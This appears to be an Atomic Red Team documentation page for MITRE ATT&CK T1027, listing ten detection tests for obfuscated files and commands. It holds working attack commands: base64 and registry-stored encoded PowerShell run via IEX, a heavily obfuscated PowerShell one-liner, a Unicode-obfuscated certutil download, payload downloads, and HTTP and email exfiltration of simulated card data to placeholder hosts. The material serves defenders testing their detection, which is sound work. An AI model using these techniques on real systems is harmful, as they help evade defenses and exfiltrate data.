T1027 - Obfuscated Files or Information

Description from ATT&CK (opens in a new tab)

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information (opens in a new tab) for User Execution (opens in a new tab). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)

Adversaries may also abuse Command Obfuscation (opens in a new tab) to obscure commands executed from payloads or directly via Command and Scripting Interpreter (opens in a new tab). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)

Atomic Tests

• Atomic Test #1 - Decode base64 Data into Script

• Atomic Test #2 - Execute base64-encoded PowerShell

• Atomic Test #3 - Execute base64-encoded PowerShell from Windows Registry

• Atomic Test #4 - Execution from Compressed File

• Atomic Test #5 - DLP Evasion via Sensitive Data in VBA Macro over email

• Atomic Test #6 - DLP Evasion via Sensitive Data in VBA Macro over HTTP

• Atomic Test #7 - Obfuscated Command in PowerShell

• Atomic Test #8 - Obfuscated Command Line using special Unicode characters

• Atomic Test #9 - Snake Malware Encrypted crmlog file

• Atomic Test #10 - Execution from Compressed JScript File

Atomic Test #1 - Decode base64 Data into Script

Creates a base64-encoded data file and decodes it into an executable shell script

Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes Hello from the Atomic Red Team and uname -v

Supported Platforms: macOS, Linux

auto_generated_guid: f45df6be-2e1e-4136-a384-8f18ab3826fb

Inputs:

Attack Commands: Run with sh!

if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64decode -r"; else cmd="base64 -d"; fi;
cat /tmp/encoded.dat | $cmd > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh

Cleanup Commands:

rm /tmp/encoded.dat 
rm /tmp/art.sh

Dependencies: Run with sh!

Description: encode the command into base64 file

Check Prereq Commands:

if [ -e "/tmp/encoded.dat" ]; then exit 0; else exit 1; fi

Get Prereq Commands:

if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64encode -r -"; else cmd="base64"; fi;
echo "#{shell_command}" | $cmd > /tmp/encoded.dat

Atomic Test #2 - Execute base64-encoded PowerShell

Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!"

Supported Platforms: Windows

auto_generated_guid: a50d5a97-2531-499e-a1de-5544c74432c6

Inputs:

Attack Commands: Run with powershell!

$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand

Atomic Test #3 - Execute base64-encoded PowerShell from Windows Registry

Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute encoded command and read/write from the registry.

Supported Platforms: Windows

auto_generated_guid: 450e7218-7915-4be4-8b9b-464a49eafcec

Inputs:

Attack Commands: Run with powershell!

$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
 
Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"

Cleanup Commands:

Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage}

Atomic Test #4 - Execution from Compressed File

Mimic execution of compressed executable. When successfully executed, calculator.exe will open.

Supported Platforms: Windows

auto_generated_guid: f8c8a909-5f29-49ac-9244-413936ce6d1f

Inputs:

Attack Commands: Run with command_prompt!

"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe"

Cleanup Commands:

taskkill /f /im calculator.exe >nul 2>nul
taskkill /f /im CalculatorApp.exe >nul 2>nul

Dependencies: Run with powershell!

Description: T1027.exe must exist on disk at PathToAtomicsFolder..\ExternalPayloads\temp_T1027.zip\T1027.exe

Check Prereq Commands:

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe") {exit 0} else {exit 1}

Get Prereq Commands:

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1027.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\T1027.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\" -Force

Atomic Test #5 - DLP Evasion via Sensitive Data in VBA Macro over email

Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.

Supported Platforms: Windows

auto_generated_guid: 129edb75-d7b8-42cd-a8ba-1f3db64ec4ad

Inputs:

Attack Commands: Run with powershell!

Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments "#{input_file}" -SmtpServer #{smtp_server}

Atomic Test #6 - DLP Evasion via Sensitive Data in VBA Macro over HTTP

Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.

Supported Platforms: Windows

auto_generated_guid: e2d85e66-cb66-4ed7-93b1-833fc56c9319

Inputs:

Attack Commands: Run with powershell!

Invoke-WebRequest -Uri #{ip_address} -Method POST -Body "#{input_file}"

Atomic Test #7 - Obfuscated Command in PowerShell

This is an obfuscated PowerShell command which when executed prints "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.

Supported Platforms: Windows

auto_generated_guid: 8b3f4ed6-077b-4bdd-891c-2d237f19410f

Attack Commands: Run with powershell!

$cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING')  ;   $pz2Sb0  =[TYpE]("{1}{0}{2}"-f'nv','cO','ert')  ;  &("{0}{2}{3}{1}{4}" -f'In','SiO','vOKe-EXp','ReS','n') (  (&("{1}{2}{0}"-f'blE','gET-','vaRIA')  ('CMdw'+'h'+'y'))."v`ALUe"::("{1}{0}" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] (  $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) )

Atomic Test #8 - Obfuscated Command Line using special Unicode characters

This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters). Reference: https://wietze.github.io/blog/windows-command-line-obfuscation (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: e68b945c-52d0-4dd9-a5e8-d173d70c448f

Inputs:

Run it with these steps!

1. Copy the following command into the command prompt after replacing #{remote_file} and #{local_path} with your desired URL and filename.

certutil —ૹu૰rlࢰca࣢c෯he –‮spli؅t‮‭ −"൏ᶠ൸" #{remote_file} #{local_path}

2. Press enter to execute the command. You will find the file or webpage you specified saved to the file you specified in the command.

Atomic Test #9 - Snake Malware Encrypted crmlog file

The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver. Snake Malware - CISA (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: 7e47ee60-9dd1-4269-9c4f-97953b183268

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$file = New-Item $env:windir\registration\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host "File created: $($file.FullName)"

Cleanup Commands:

$fileNameToDelete = '04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog'; $filePathToDelete = "$env:windir\registration\"; $fullPathToDelete = Join-Path $filePathToDelete $fileNameToDelete; if (Test-Path $fullPathToDelete) { Remove-Item -Path $fullPathToDelete -Force; Write-Host "File deleted: $fullPathToDelete" } else { Write-Host "File not found: $fullPathToDelete" }

Atomic Test #10 - Execution from Compressed JScript File

Mimic execution of compressed JavaScript file. When successfully executed, calculator.exe will open. This test is meant to help emulate Gootloader as per https://redcanary.com/blog/gootloader/ (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: fad04df1-5229-4185-b016-fb6010cd87ac

Inputs:

Attack Commands: Run with command_prompt!

"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js"

Cleanup Commands:

taskkill /f /im calculator.exe >nul 2>nul

Dependencies: Run with powershell!

Description: T1027.js must exist on disk at PathToAtomicsFolder..\ExternalPayloads\temp_T1027js.zip\T1027js.js

Check Prereq Commands:

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js") {exit 0} else {exit 1}

Get Prereq Commands:

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1027js.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\T1027js.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\" -Force